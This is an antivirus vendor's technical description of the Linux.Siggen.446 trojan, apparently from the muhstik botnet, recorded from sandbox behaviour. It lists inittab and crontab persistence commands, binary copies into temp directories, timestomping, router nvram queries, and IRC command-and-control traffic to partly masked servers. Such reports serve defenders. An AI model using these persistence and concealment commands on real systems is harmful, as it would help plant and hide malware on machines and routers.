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Linux.Siggen.446

Added to the Dr.Web virus database: 2018-02-21

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/inittab
  • /etc/rc.local
Malicious functions:
Modifies router settings:
  • /bin/nvram
Launches processes:
  • sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
  • sh -c crontab -l | grep <SAMPLE_FULL_PATH> || (crontab -l ; echo \"*/5 * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • cat /etc/inittab
  • grep -v <SAMPLE_FULL_PATH>
  • grep <SAMPLE_FULL_PATH>
  • crontab -l
  • sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
  • crontab -
  • sh -c cat /etc/inittab2 > /etc/inittab
  • cat /etc/inittab2
  • sh -c rm -rf /etc/inittab2
  • rm -rf /etc/inittab2
  • sh -c touch -acmr /bin/ls /etc/inittab
  • touch -acmr /bin/ls /etc/inittab
  • sh -c cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
  • sh -c /bin/uname -n
  • sh -c nvram get router_name
  • cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
  • /bin/uname -n
  • sh -c cat /etc/inittab | grep -v \"/dev/shm/<SAMPLE>\" > /etc/inittab2
  • sh -c crontab -l | grep /dev/shm/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /dev/shm/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep -v /dev/shm/<SAMPLE>
  • grep /dev/shm/<SAMPLE>
  • sh -c echo \"0:2345:respawn:/dev/shm/<SAMPLE>\" >> /etc/inittab2
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
  • sh -c cat /etc/inittab | grep -v \"/var/tmp/<SAMPLE>\" > /etc/inittab2
  • sh -c crontab -l | grep /var/tmp/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/tmp/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep -v /var/tmp/<SAMPLE>
  • grep /var/tmp/<SAMPLE>
  • sh -c echo \"0:2345:respawn:/var/tmp/<SAMPLE>\" >> /etc/inittab2
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
  • sh -c cat /etc/inittab | grep -v \"/var/lock/<SAMPLE>\" > /etc/inittab2
  • sh -c crontab -l | grep /var/lock/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/lock/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep -v /var/lock/<SAMPLE>
  • grep /var/lock/<SAMPLE>
  • sh -c echo \"0:2345:respawn:/var/lock/<SAMPLE>\" >> /etc/inittab2
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
  • sh -c cat /etc/inittab | grep -v \"/var/run/<SAMPLE>\" > /etc/inittab2
  • sh -c crontab -l | grep /var/run/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/run/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep -v /var/run/<SAMPLE>
  • grep /var/run/<SAMPLE>
  • sh -c echo \"0:2345:respawn:/var/run/<SAMPLE>\" >> /etc/inittab2
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/cron/crontabs/tmp.owQgNJ
  • /var/spool/cron/crontabs/tmp.Jl4h1f
  • /var/spool/cron/crontabs/tmp.s6CgKZ
  • /var/spool/cron/crontabs/tmp.6mN0rf
  • /var/spool/cron/crontabs/tmp.NnrYKk
Creates or modifies files:
  • /tmp/.ubntmuh
  • /etc/inittab2
  • /var/spool/cron"/crontabs/tmp.owQgNJ
  • /var/spool/cron/crontabs/tmp.owQgNJ
  • /dev/shm/<SAMPLE>
  • /var/spool/cron"/crontabs/tmp.Jl4h1f
  • /var/spool/cron/crontabs/tmp.Jl4h1f
  • /var/tmp/<SAMPLE>
  • /var/spool/cron"/crontabs/tmp.s6CgKZ
  • /var/spool/cron/crontabs/tmp.s6CgKZ
  • /var/lock/<SAMPLE>
  • /run/lock/<SAMPLE>
  • /var/spool/cron"/crontabs/tmp.6mN0rf
  • /var/spool/cron/crontabs/tmp.6mN0rf
  • /var/run/<SAMPLE>
  • /run/<SAMPLE>
  • /var/spool/cron"/crontabs/tmp.NnrYKk
  • /var/spool/cron/crontabs/tmp.NnrYKk
Deletes files:
  • /etc/inittab2"
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:61000
Establishes connection:
  • 12#.##8.171.44:9090
  • <LOCAL_DNS_SERVER>
  • 66.##.190.236:9090
Connects to the following servers over the IRC protocol:
  • Server: 14#.#39.93.125; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
  • Server: 14#.#39.93.125; Command: PONG :14009BA2\n
  • Server: 14#.#39.93.125; Command: PONG :24515C4\n
  • Server: 13#.#9.101.96; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
  • Server: 14#.#4.163.168; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
  • Server: 14#.#4.163.168; Command: PONG :2534CD8E\n
  • Server: 14#.#39.84.0; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
  • Server: 14#.#39.93.125; Command: PONG :57E46424\n
  • Server: 14#.#4.240.14; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
  • Server: 14#.#4.240.14; Command: PONG :A368F81B\n
  • Server: 14#.#35.210.184; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
  • Server: 19#.#9.71.250; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
  • Server: 19#.#9.71.250; Command: PONG :CE814FAB\n
  • Server: 14#.#4.163.168; Command: PONG :358087BB\n
  • Server: 14#.#39.93.125; Command: PONG :EAF3F33A\n
  • Server: 14#.#17.84.99; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
  • Server: 46.##9.233.35; Command: NICK i586|0|10505826|unknown\nUSER muhstik localhost localhost :muhstik-0108\n
DNS ASK:
  • ir#.##-zahlung.eu

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